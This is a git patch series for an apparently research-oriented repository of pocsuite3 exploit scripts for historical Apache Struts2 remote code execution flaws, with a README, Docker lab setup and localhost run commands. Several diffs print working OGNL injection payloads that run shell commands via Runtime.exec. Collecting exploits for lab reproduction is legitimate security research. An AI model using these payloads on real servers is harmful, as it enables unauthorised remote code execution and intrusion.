-Struts2历史漏洞Exploit整理
+## Legal Disclaimer
-## 项目简介
+Unauthorized use of vulnerabilities to attack targets without prior mutual consent is illegal. The historical vulnerability information related to Struts2 contained in this repository has already been publicly disclosed on the internet. This repository serves only for collection and organization, strictly for learning and research purposes.
-本项目旨在整理与Struts2历史漏洞相关的Exploit(exp),所有的Exploit都是由pocsuite3编写。
+## 法律免责声明
-## 项目目标
+未经事先双方同意,使用漏洞攻击目标是非法的。本仓库所包含的 Struts2历史漏洞信息早已在互联网上公开,此仓库只做收集整理,仅供学习和研究目的。
-- 为安全研究人员提供一个方便快捷的漏洞检测、利用工具。
-- 提供Struts2 对应漏洞docker环境,方便安全研究人员进行漏洞复现。
-- 帮助安全人员学习与研究Struts2漏洞的原理。
-- 提升对Web应用安全性的理解。
+## Overview
-## 项目内容
+This project is dedicated to organizing and collecting exploits related to historical vulnerabilities in Struts2. All exploits are authored using pocsuite3.
-本项目整理Struts2已公开的漏洞,并提供相应的Exploit。Exploit将以pocsuite3的格式编写,方便安全人员研究。
+## Vulnerability Environment
-## 漏洞环境
+Execute the Docker command to pull and run the vulnerability environment.
-docker环境正在梳理中...待补充。
+```
+docker run -it -p 8080:8080 isxiangyang/struts2-all-vul-pocsuite:latest
+```
-## 项目贡献
+### S2-001
-欢迎所有安全研究人员和爱好者参与本项目,贡献新的漏洞Exploit。
+http://localhost:8080/S2-001/login.action
-## 项目声明
+```
+pocsuite -r 20090323_WEB_Apache_Struts2_001_RCE.py -u http://localhost:8080/S2-001/login.action --attack --command whoami
+```
-本仓库所包含的 Struts2 历史漏洞信息仅供学习和研究目的。这些漏洞早已存在并在互联网上公开,旨在帮助深入研究和提升对 Web 应用安全性的理解。任何形式的非法攻击行为均严格禁止。
+### S2-003
+
+http://localhost:8080/S2-003/HelloWorld.action
+
+```
+pocsuite -r 20090323_WEB_Apache_Struts2_003_RCE_CVE-2008-6504.py -u http://localhost:8080/S2-003/HelloWorld.action --attack --command whoami
+```
+
+### S2-005
+
+http://localhost:8080/struts2-showcase-2.1.8/showcase.action
+
+```
+pocsuite -r 20100510_WEB_Apache_Struts2_005_RCE_CVE-2010-1870.py -u http://localhost:8080/struts2-showcase-2.1.8/showcase.action --attack --command whoami
+```
+
+### S2-007
+
+ http://localhost:8080/S2-007/user.action
+
+```
+pocsuite -r 20120108_WEB_Apache_Struts2_007_RCE.py -u http://localhost:8080/S2-007/user.action --attack --command whoami
+```
+
+### S2-008
+
+http://localhost:8080/struts2-showcase-2.1.8/showcase.action
+
+```
+pocsuite -r 20120108_WEB_Apache_Struts2_008_RCE_CVE-2012-0394.py -u http://localhost:8080/struts2-showcase-2.1.8/showcase.action --attack --command whoami
+```
+
+### S2-009
+
+http://localhost:8080/struts2-showcase-2.1.8/config-browser/showConfig.action
+
+```
+pocsuite -r 20111001_WEB_Apache_Struts2_009_RCE_CVE-2011-3923.py -u http://localhost:8080/struts2-showcase-2.1.8/config-browser/showConfig.action --attack --command whoami
+```
+
+### S2-012
+
+http://localhost:8080/S2-012/index.action
+
+```
+pocsuite -r 20130219_WEB_Apache_Struts2_012_RCE_CVE-2013-1965.py -u http://localhost:8080/S2-012/index.action --attack --command whoami
+```
+
+### S2-013
+
+http://localhost:8080/S2-003/HelloWorld.action
+
+```
+pocsuite -r 20130219_WEB_Apache_Struts2_013_RCE_CVE-2013-1966.py -u http://localhost:8080/S2-003/HelloWorld.action --attack --command whoami
+```
+
+### S2-015
+
+http://localhost:8080/S2-015/
+
+```
+pocsuite -r 20130219_WEB_Apache_Struts2_015_RCE_CVE-2013-2134.py -u http://localhost:8080/S2-015/ --attack --command whoami
+```
+
+### S2-016
+
+http://localhost:8080/struts2-showcase-2.1.8/showcase.action
+
+```
+pocsuite -r 20130219_WEB_Apache_Struts2_016_RCE_CVE-2013-2251.py -u http://localhost:8080/struts2-showcase-2.1.8/showcase.action --attack --command whoami
+```
+
+### S2-019
+
+http://localhost:8080/struts2-showcase-2.1.8/nodecorate/jspEval.action
+
+```
+pocsuite -r 20130612_WEB_Apache_Struts2_019_RCE_CVE-2013-4316.py -u http://localhost:8080/struts2-showcase-2.1.8/nodecorate/jspEval.action --attack --command whoami
+```
+
+### S2-020
+
+http://localhost:8080/S2-003/HelloWorld.action
+
+```
+pocsuite -r 20131203_WEB_Apache_Struts2_020_RCE_CVE-2014-0094.py -u http://localhost:8080/S2-003/HelloWorld.action
+```
+
+### S2-025
+
+http://localhost:8080/struts2-showcase-2.1.8/nodecorate/jspEval.action
+
+```
+pocsuite -r 20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169.py -u http://localhost:8080/struts2-showcase-2.1.8/nodecorate/jspEval.action --attack --command whoami
+```
+
+### S2-029
+
+http://localhost:8080/S2-029/default.action
+
+```
+pocsuite -r 20151216_WEB_Apache_Struts2_029_RCE_CVE-2016-0785.py -u http://localhost:8080/S2-029/default.action --attack --command whoami
+```
+
+### S2-032
+
+http://localhost:8080/S2-032-showcase/index.action
+
+```
+pocsuite -r 20160310_WEB_Apache_Struts2_032_RCE_CVE-2016-3081.py -u http://localhost:8080/S2-032-showcase/index.action --attack --command whoami
+```
+
+### S2-033
+
+http://localhost:8080/S2-033-rest/orders/4
+
+
+```
+pocsuite -r 20160310_WEB_Apache_Struts2_033_RCE_CVE-2016-3087.py -u http://localhost:8080/S2-033-rest/orders/4 --attack --command whoami
+```
+
+### S2-037
+
+http://localhost:8080/S2-033-rest/orders/4
+
+```
+pocsuite -r 20160502_WEB_Apache_Struts2_037_RCE_CVE-2016-4438.py -u http://localhost:8080/S2-033-rest/orders/4 --attack --command whoami
+```
+
+### S2-045
+
+http://localhost:8080/S2-032-showcase/fileupload/doUpload.action
+
+```
+pocsuite -r 20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py -u http://localhost:8080/S2-032-showcase/fileupload/doUpload.action --attack --command whoami
+```
+
+### S2-046
+
+http://localhost:8080/S2-032-showcase/fileupload/doUpload.action
+
+```
+pocsuite -r 20170411_WEB_Apache_Struts2_046_RCE_CVE-2017-7672.py -u http://localhost:8080/S2-032-showcase/fileupload/doUpload.action --attack --command whoami
+```
+
+### S2-048
+
+http://localhost:8080/S2-032-showcase/integration/saveGangster.action
+
+```
+pocsuite -r 20170621_WEB_Apache_Struts2_048_RCE_CVE-2017-9791.py -u http://localhost:8080/S2-032-showcase/integration/saveGangster.action --attack --command "whoami"
+```
+
+### S2-052
+
+http://localhost:8080/S2-033-rest/orders
+
+```
+pocsuite -r 20170621_WEB_Apache_Struts2_052_RCE_CVE-2017-9805.py -u http://localhost:8080/S2-033-rest/orders --attack --command "touch /var/tmp/success.txt"
+```
+
+### S2-053
+
+http://127.0.0.1:8080/S2-053/index.action
+
+```
+pocsuite -r 20170807_WEB_Apache_Struts2_053_RCE_CVE-2017-12611.py -u http://127.0.0.1:8080/S2-053/index.action --attack --command whoami
+```
+
+### S2-057
+
+http://localhost:8080/S2-057/actionChain1.action
+
+```
+pocsuite -r 20180605_WEB_Apache_Struts2_057_RCE_CVE-2018-11776.py -u http://localhost:8080/S2-057/actionChain1.action --attack --command whoami
+```
+
+### S2-061
+
+http://localhost:8080/S2-061/index.action
+
+```
+pocsuite -r 20200812_WEB_Apache_Struts2_061_RCE_CVE-2020-17530.py -u http://localhost:8080/S2-061/index.action --attack --command whoami
+```
+
+### S2-066
+
+http://127.0.0.1:8080/S2-066/upload
+
+```
+pocsuite -r 20231204_WEB_Apache_Struts2_066_RCE_CVE-2023-50164.py -u http://127.0.0.1:8080/S2-066/upload
+```
-我们不对任何人因使用本仓库的信息而导致的非法活动承担责任。用户应遵守适用的法律法规,并在进行安全研究时恪守道德和法律规定。请谨慎使用这些漏洞信息,并确保在任何测试和研究活动中遵循法律和道德准则。
\ No newline at end of file
From ad15c845b81f794805b5c353c5f6000e0ffb26e1 Mon Sep 17 00:00:00 2001
From: isxiangyang <97659869+isxiangyang@users.noreply.github.com>
Date: Mon, 25 Dec 2023 16:34:47 +0800
Subject: [PATCH 18/27] Delete pocsuite3/pocs/Apache_Struts2/.DS_Store
---
pocsuite3/pocs/Apache_Struts2/.DS_Store | Bin 6148 -> 0 bytes
1 file changed, 0 insertions(+), 0 deletions(-)
delete mode 100644 pocsuite3/pocs/Apache_Struts2/.DS_Store
diff --git a/pocsuite3/pocs/Apache_Struts2/.DS_Store b/pocsuite3/pocs/Apache_Struts2/.DS_Store
deleted file mode 100644
index 5008ddfcf53c02e82d7eee2e57c38e5672ef89f6..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001
literal 6148
zcmeH~Jr2S!425mzP>H1@V-^m;4Wg<&0T*E43hX&L&p$$qDprKhvt+--jT7}7np#A3
zem<@ulZcFPQ@L2!n>{z**++&mCkOWA81W14cNZlEfg7;MkzE(HCqgga^y>{tEnwC%0;vJ&^%eQ
zLs35+`xjp>T0
Date: Mon, 25 Dec 2023 17:47:08 +0800
Subject: [PATCH 19/27] Delete pocsuite3/pocs/.DS_Store
---
pocsuite3/pocs/.DS_Store | Bin 8196 -> 0 bytes
1 file changed, 0 insertions(+), 0 deletions(-)
delete mode 100644 pocsuite3/pocs/.DS_Store
diff --git a/pocsuite3/pocs/.DS_Store b/pocsuite3/pocs/.DS_Store
deleted file mode 100644
index 2e2cf1734d0149953698f63eb15226fa2285565b..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001
literal 8196
zcmeHMU2GIp6u#fIz^onU6p9pfp^F9i$qH?$P!M$6Qc4R5vJ2go!m_(F(6Q5*x-+{)
zu%`HfF_M`0?-K^&i&04YiSa=+{v3WBp8LX_jCv%U`A)
z3O`hP~7t){)A`nF2e;EP3KSb%`H15+;LA|YmIY37xI6+JKGRqW8)6xj8&kg*sET)3V|LgX%9?hT^xn-5nTF%m*Pnq@
zRz7L+6nTnVA@5G~+rtSr;})FOOnw*VlD2JTOZS=VPD39~tJQ6`_|2!R}uLuqyPp+gO;ns1LqS2V32iA4{sZmf?*n^rcBjD+Nwb<6MA
zo*pmk2OWLc`@
z)k=pv?IdyeY;L`8AW|P%}7&C=c{cU;?p=g^}Iv0E?zHO4xN}bt9HTS
z+ZtD`ZE5eid;951wQBl|YDMX#uv)IM&(QNbh7HZ_@5wkh-O>zee|OPvjI60At<0ca
zg$F~S(>1f_RE8trc_qV8w!xX0p1eY9V3Pyjlr&
z7lqgACVz0Bvj+#sMW+fef4G%a-osbkoN?T(L%MZo@eLi}aIe#!$?IE(DIwKQ
z{fF8_R&v~zM8>LREOG-$6k}lmV4G15k5(f8-^-X$!_SV#jBFkh#tSWh|(hyk@B3!Cvf{jI1g=7_iS);5C
z5kl2+!QQ2`g!rbRGLMhMBJHxQ{_DyAB|FQ`vGeRVb`g_N0Ts2B@by@UI5tqy^OWC$
zo#;jndeH|R`_K=A(%(e^!#IG0c$m`v2p+@ZcnVMB89aw$c!?nJGF~A7oWvV=6K~@b
z-X|!0NMQI3UlS01#82Z=d&}6=#)Ye;b}^B+OxxN|dL?*_o#Og%Wn$SHUjMgG{Qdv>
zJY2A95P={9*CYZcU!PdtN=r?&Iq_OMO4nYxc;kAbf_f&@aTPx9mE%M&{b5M=QC}AK
g>8PM2p?1wb1pN2E!GrTZIRC|e;C>B#BcA_%0k2GwK>z>%
From f4c3d2583ed84cf3304cd9b52a8afc3293c1a3e4 Mon Sep 17 00:00:00 2001
From: sunflower
Date: Mon, 25 Dec 2023 18:08:25 +0800
Subject: [PATCH 20/27] Update exp and supplement environment.
---
.../20090323_WEB_Apache_Struts2_001_RCE.py | 6 ++----
...EB_Apache_Struts2_003_RCE_CVE-2008-6504.py | 12 ++++--------
...EB_Apache_Struts2_005_RCE_CVE-2010-1870.py | 9 ++++-----
...EB_Apache_Struts2_009_RCE_CVE-2011-3923.py | 6 ++++--
.../20120108_WEB_Apache_Struts2_007_RCE.py | 6 +++---
...EB_Apache_Struts2_012_RCE_CVE-2013-1965.py | 2 +-
...EB_Apache_Struts2_013_RCE_CVE-2013-1966.py | 3 ++-
...EB_Apache_Struts2_015_RCE_CVE-2013-2134.py | 5 +++--
...EB_Apache_Struts2_016_RCE_CVE-2013-2251.py | 8 +++++---
...EB_Apache_Struts2_019_RCE_CVE-2013-4316.py | 5 +++--
...EB_Apache_Struts2_020_RCE_CVE-2014-0094.py | 19 +++++++------------
...EB_Apache_Struts2_025_RCE_CVE-2015-5169.py | 4 ++--
...EB_Apache_Struts2_029_RCE_CVE-2016-0785.py | 6 +++---
...EB_Apache_Struts2_032_RCE_CVE-2016-3081.py | 2 +-
...EB_Apache_Struts2_033_RCE_CVE-2016-3087.py | 4 ++--
...EB_Apache_Struts2_037_RCE_CVE-2016-4438.py | 6 +++---
...EB_Apache_Struts2_045_RCE_CVE-2017-5638.py | 3 +--
...EB_Apache_Struts2_046_RCE_CVE-2017-7672.py | 7 +++----
...EB_Apache_Struts2_048_RCE_CVE-2017-9791.py | 15 ++++++++-------
...EB_Apache_Struts2_052_RCE_CVE-2017-9805.py | 4 +---
...B_Apache_Struts2_053_RCE_CVE-2017-12611.py | 12 +++++++-----
...B_Apache_Struts2_057_RCE_CVE-2018-11776.py | 3 ++-
...B_Apache_Struts2_061_RCE_CVE-2020-17530.py | 17 +++++++----------
...B_Apache_Struts2_066_RCE_CVE-2023-50164.py | 12 ++++++------
24 files changed, 84 insertions(+), 92 deletions(-)
diff --git a/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_001_RCE.py b/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_001_RCE.py
index f71c46e1..b6f469af 100755
--- a/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_001_RCE.py
+++ b/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_001_RCE.py
@@ -1,11 +1,11 @@
import random
+import re
from collections import OrderedDict
from urllib.parse import quote
-import re
+
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
-from pocsuite3.lib.utils import get_middle_text
class DemoPOC(POCBase):
@@ -30,7 +30,6 @@ def _options(self):
o["command"] = OptString('', description="可执行的shell命令")
return o
-
def _check(self):
result = {}
check_poc = "%25%7B{num1}%2B{num2}%7D"
@@ -51,7 +50,6 @@ def _check(self):
return result
return False
-
def _verify(self):
p = self._check()
if p:
diff --git a/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_003_RCE_CVE-2008-6504.py b/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_003_RCE_CVE-2008-6504.py
index b5bd4bea..1b7a17a4 100755
--- a/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_003_RCE_CVE-2008-6504.py
+++ b/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_003_RCE_CVE-2008-6504.py
@@ -1,9 +1,9 @@
-from urllib.parse import quote
from collections import OrderedDict
+from urllib.parse import quote
+
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
-from pocsuite3.lib.utils import random_str
class DemoPOC(POCBase):
@@ -23,14 +23,11 @@ class DemoPOC(POCBase):
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
-
-
def _options(self):
o = OrderedDict()
o["command"] = OptString('', description="可执行的shell命令")
return o
-
def _check(self):
result = {}
exec_payload = "(%27\\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\\u003dfalse%27)(bla)(bla)&(%27\\u0023_memberAccess.excludeProperties\\u003d@java.util.Collections@EMPTY_SET%27)(kxlzx)(kxlzx)&(%27\\u0023mycmd\\u003d\%27{cmd}\%27%27)(bla)(bla)&(%27\\u0023myret\\u003d@java.lang.Runtime@getRuntime().exec(\\u0023mycmd)%27)(bla)(bla)&(A)((%27\\u0023mydat\\u003dnew\\40java.io.DataInputStream(\\u0023myret.getInputStream())%27)(bla))&(B)((%27\\u0023myres\\u003dnew\\40byte[51020]%27)(bla))&(C)((%27\\u0023mydat.readFully(\\u0023myres)%27)(bla))&(D)((%27\\u0023mystr\\u003dnew\\40java.lang.String(\\u0023myres)%27)(bla))&(%27\\u0023myout\\u003d@org.apache.struts2.ServletActionContext@getResponse()%27)(bla)(bla)&(E)((%27\\u0023myout.getWriter().println(\\u0023mystr)%27)(bla))"
@@ -39,12 +36,11 @@ def _check(self):
if "groups=" in r.text:
result["VerifyInfo"] = {
"URL": self.url,
- "result": r.text.replace("\x00","").encode()
+ "result": r.text.replace("\x00", "").encode()
}
return result
return False
-
def _verify(self):
p = self._check()
if p:
@@ -61,7 +57,7 @@ def _attack(self):
if r.text:
result["VerifyInfo"] = {
"URL": self.url,
- "PAYLOAD": r.text.replace("\x00","").encode()
+ "PAYLOAD": r.text.replace("\x00", "").encode()
}
return self.parse_output(result)
diff --git a/pocsuite3/pocs/Apache_Struts2/20100510_WEB_Apache_Struts2_005_RCE_CVE-2010-1870.py b/pocsuite3/pocs/Apache_Struts2/20100510_WEB_Apache_Struts2_005_RCE_CVE-2010-1870.py
index e665247a..9d3e0d11 100755
--- a/pocsuite3/pocs/Apache_Struts2/20100510_WEB_Apache_Struts2_005_RCE_CVE-2010-1870.py
+++ b/pocsuite3/pocs/Apache_Struts2/20100510_WEB_Apache_Struts2_005_RCE_CVE-2010-1870.py
@@ -46,7 +46,6 @@ def _verify(self):
if p:
return self.parse_output(p)
-
def _check(self):
result = {}
hash_str = random_str(10)
@@ -71,7 +70,7 @@ def _check(self):
"cmd.exe /c echo " + hash_str
]
for payload2 in cmd2:
- html = self.exp(payload2,exec_payload2)
+ html = self.exp(payload2, exec_payload2)
if hash_str in html:
result["VerifyInfo"] = {
"URL": self.url,
@@ -94,9 +93,9 @@ def _attack(self):
result["VerifyInfo"] = {
"URL": self.url,
"PAYLOAD_1": exec_payload1,
- "OUTPUT_1":html1,
- "PAYLOAD_2":exec_payload2,
- "OUTPIT_2":html2
+ "OUTPUT_1": html1,
+ "PAYLOAD_2": exec_payload2,
+ "OUTPIT_2": html2
}
return self.parse_output(result)
diff --git a/pocsuite3/pocs/Apache_Struts2/20111001_WEB_Apache_Struts2_009_RCE_CVE-2011-3923.py b/pocsuite3/pocs/Apache_Struts2/20111001_WEB_Apache_Struts2_009_RCE_CVE-2011-3923.py
index 6ac290fb..8f738d5e 100755
--- a/pocsuite3/pocs/Apache_Struts2/20111001_WEB_Apache_Struts2_009_RCE_CVE-2011-3923.py
+++ b/pocsuite3/pocs/Apache_Struts2/20111001_WEB_Apache_Struts2_009_RCE_CVE-2011-3923.py
@@ -38,7 +38,7 @@ def _check(self):
result = {}
hash_str = random_str(10)
exec_payload = "(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27{cmd}%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[({key})(%27meh%27)]"
- command ="echo " + hash_str
+ command = "echo " + hash_str
key = "actionName"
payload = exec_payload.format(cmd=quote(command), key=key)
html = requests.get(self.url + "?{}={}".format(key, payload)).text
@@ -64,7 +64,7 @@ def _attack(self):
result["VerifyInfo"] = {
"URL": self.url,
"PAYLOAD": payload,
- "HTML": html.replace("\x00","").encode()
+ "HTML": html.replace("\x00", "").encode()
}
return self.parse_output(result)
@@ -76,4 +76,6 @@ def parse_output(self, result):
else:
output.fail('target is not vulnerable')
return output
+
+
register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_007_RCE.py b/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_007_RCE.py
index adfc20bc..11666f4b 100755
--- a/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_007_RCE.py
+++ b/pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_007_RCE.py
@@ -62,7 +62,7 @@ def _check(self):
def _attack(self):
p = self._check()
result = {}
- if p :
+ if p:
exec_payload = "'%20%2B%20(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('{cmd}').getInputStream()))%20%2B%20'"
headers = {}
headers['Content-Type'] = 'application/x-www-form-urlencoded'
@@ -72,11 +72,11 @@ def _attack(self):
data = data.format(exp=exec_payload.format(cmd=quote(command)))
html = requests.post(self.url, data=data, headers=headers).text
- exec_res = get_middle_text(html,"\"age\" value=\"","\n")
+ exec_res = get_middle_text(html, "\"age\" value=\"", "\n")
result["VerifyInfo"] = {
"URL": self.url,
"PAYLOAD": data,
- "result":exec_res
+ "result": exec_res
}
return self.parse_output(result)
diff --git a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_012_RCE_CVE-2013-1965.py b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_012_RCE_CVE-2013-1965.py
index a225fc16..d3f1ecca 100755
--- a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_012_RCE_CVE-2013-1965.py
+++ b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_012_RCE_CVE-2013-1965.py
@@ -65,7 +65,7 @@ def _attack(self):
result["VerifyInfo"] = {
"URL": self.url,
- "HTML": html.replace("\x00","").encode()
+ "HTML": html.replace("\x00", "").encode()
}
return self.parse_output(result)
diff --git a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_013_RCE_CVE-2013-1966.py b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_013_RCE_CVE-2013-1966.py
index cc7d09c9..c3a18b9f 100755
--- a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_013_RCE_CVE-2013-1966.py
+++ b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_013_RCE_CVE-2013-1966.py
@@ -33,6 +33,7 @@ def _verify(self):
p = self._check()
if p:
return self.parse_output(p)
+
def _check(self):
result = {}
hash_str = random_str(10)
@@ -65,7 +66,7 @@ def _attack(self):
html = self.exp(command)
result["VerifyInfo"] = {
"URL": self.url,
- "HTML": html.replace("\x00","").encode()
+ "HTML": html.replace("\x00", "").encode()
}
return self.parse_output(result)
diff --git a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_015_RCE_CVE-2013-2134.py b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_015_RCE_CVE-2013-2134.py
index fe57f0c8..4f6bf34d 100755
--- a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_015_RCE_CVE-2013-2134.py
+++ b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_015_RCE_CVE-2013-2134.py
@@ -28,6 +28,7 @@ def _options(self):
o = OrderedDict()
o["command"] = OptString('ls', description="可执行的shell命令")
return o
+
def _verify(self):
p = self._check()
if p:
@@ -59,7 +60,7 @@ def exp(self, command):
def _attack(self):
result = {}
- p =self._check()
+ p = self._check()
if p:
command = self.get_option("command")
html = self.exp(command)
@@ -67,7 +68,7 @@ def _attack(self):
if text:
result["VerifyInfo"] = {
"URL": self.url,
- "HTML": unquote(text).replace("\x00","").encode()
+ "HTML": unquote(text).replace("\x00", "").encode()
}
return self.parse_output(result)
diff --git a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_016_RCE_CVE-2013-2251.py b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_016_RCE_CVE-2013-2251.py
index 040dbbf9..15b7a5fa 100755
--- a/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_016_RCE_CVE-2013-2251.py
+++ b/pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_016_RCE_CVE-2013-2251.py
@@ -29,10 +29,12 @@ def _options(self):
o = OrderedDict()
o["command"] = OptString('', description="可执行的shell命令")
return o
+
def _verify(self):
p = self._check()
if p:
return self.parse_output(p)
+
def _check(self):
result = {}
num1 = random.randint(10000, 100000)
@@ -68,7 +70,7 @@ def _attack(self):
html = requests.get(self.url + "?" + payload1).text
result["VerifyInfo"] = {
"URL": self.url,
- "HTML": html.replace("\x00","").encode()
+ "HTML": html.replace("\x00", "").encode()
}
payload2 = exec_payload2.format(cmd=quote(temp))
@@ -78,7 +80,7 @@ def _attack(self):
html = requests.get(self.url + "?" + payload2).text
result["VerifyInfo"] = {
"URL": self.url,
- "HTML": html.replace("\x00","").encode()
+ "HTML": html.replace("\x00", "").encode()
}
payload3 = exec_payload3.replace('CMD', quote(temp))
html = requests.get(self.url + "?" + payload3).text.lower()
@@ -87,7 +89,7 @@ def _attack(self):
html = requests.get(self.url + "?" + payload3).text
result["VerifyInfo"] = {
"URL": self.url,
- "HTML": html.replace("\x00","").encode()
+ "HTML": html.replace("\x00", "").encode()
}
return self.parse_output(result)
diff --git a/pocsuite3/pocs/Apache_Struts2/20130612_WEB_Apache_Struts2_019_RCE_CVE-2013-4316.py b/pocsuite3/pocs/Apache_Struts2/20130612_WEB_Apache_Struts2_019_RCE_CVE-2013-4316.py
index 0f8307c9..a5e49fa1 100755
--- a/pocsuite3/pocs/Apache_Struts2/20130612_WEB_Apache_Struts2_019_RCE_CVE-2013-4316.py
+++ b/pocsuite3/pocs/Apache_Struts2/20130612_WEB_Apache_Struts2_019_RCE_CVE-2013-4316.py
@@ -56,11 +56,12 @@ def _attack(self):
exec_payload = "%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B'{cmd}'%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close()"
cmd = self.get_option("command")
html = requests.get(
- self.url + "?debug=command&expression={payload}".format(payload=exec_payload.format(cmd=quote(cmd)))).text
+ self.url + "?debug=command&expression={payload}".format(
+ payload=exec_payload.format(cmd=quote(cmd)))).text
if html:
result["VerifyInfo"] = {
"URL": self.url,
- "result":html.replace("\x00","").encode()
+ "result": html.replace("\x00", "").encode()
}
return self.parse_output(result)
diff --git a/pocsuite3/pocs/Apache_Struts2/20131203_WEB_Apache_Struts2_020_RCE_CVE-2014-0094.py b/pocsuite3/pocs/Apache_Struts2/20131203_WEB_Apache_Struts2_020_RCE_CVE-2014-0094.py
index 52cf0865..99dade4f 100755
--- a/pocsuite3/pocs/Apache_Struts2/20131203_WEB_Apache_Struts2_020_RCE_CVE-2014-0094.py
+++ b/pocsuite3/pocs/Apache_Struts2/20131203_WEB_Apache_Struts2_020_RCE_CVE-2014-0094.py
@@ -3,17 +3,12 @@
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
"""
-from pocsuite3.api import Output, POCBase, register_poc, requests, logger
-from pocsuite3.api import get_listener_ip, get_listener_port
-from pocsuite3.api import REVERSE_PAYLOAD
-from pocsuite3.lib.core.enums import VUL_TYPE
-from pocsuite3.lib.utils import random_str
-from requests.exceptions import ReadTimeout
-import base64
import re
-from urllib.parse import urlparse
-from urllib.parse import urljoin
import time
+from urllib.parse import urljoin
+
+from pocsuite3.api import Output, POCBase, register_poc, requests, logger
+from pocsuite3.lib.core.enums import VUL_TYPE
class DemoPOC(POCBase):
@@ -45,10 +40,12 @@ def getLink(self, url):
rnt.append(item_url)
return rnt
+
def _verify(self):
p = self._check()
if p:
return self.parse_output(p)
+
def _check(self):
result = {}
url = self.url
@@ -89,13 +86,11 @@ def _check(self):
result['VerifyInfo']['shell_url'] = shelljsp_url
return result
- except Exception as e:
+ except Exception as e:
logger.debug(str(e))
return False
-
-
def parse_output(self, result):
output = Output(self)
if result:
diff --git a/pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169.py b/pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169.py
index 557ba74a..23edc600 100755
--- a/pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169.py
+++ b/pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169.py
@@ -1,4 +1,3 @@
-import random
from collections import OrderedDict
from urllib.parse import quote
@@ -34,6 +33,7 @@ def _verify(self):
p = self._check()
if p:
return self.parse_output(p)
+
def _check(self):
result = {}
headers = {
@@ -63,7 +63,7 @@ def _attack(self):
html = requests.get(self.url + exec_payload, headers=headers).text
if html:
result["VerifyInfo"] = {
- "result": html.replace("\x00","").encode(),
+ "result": html.replace("\x00", "").encode(),
}
return self.parse_output(result)
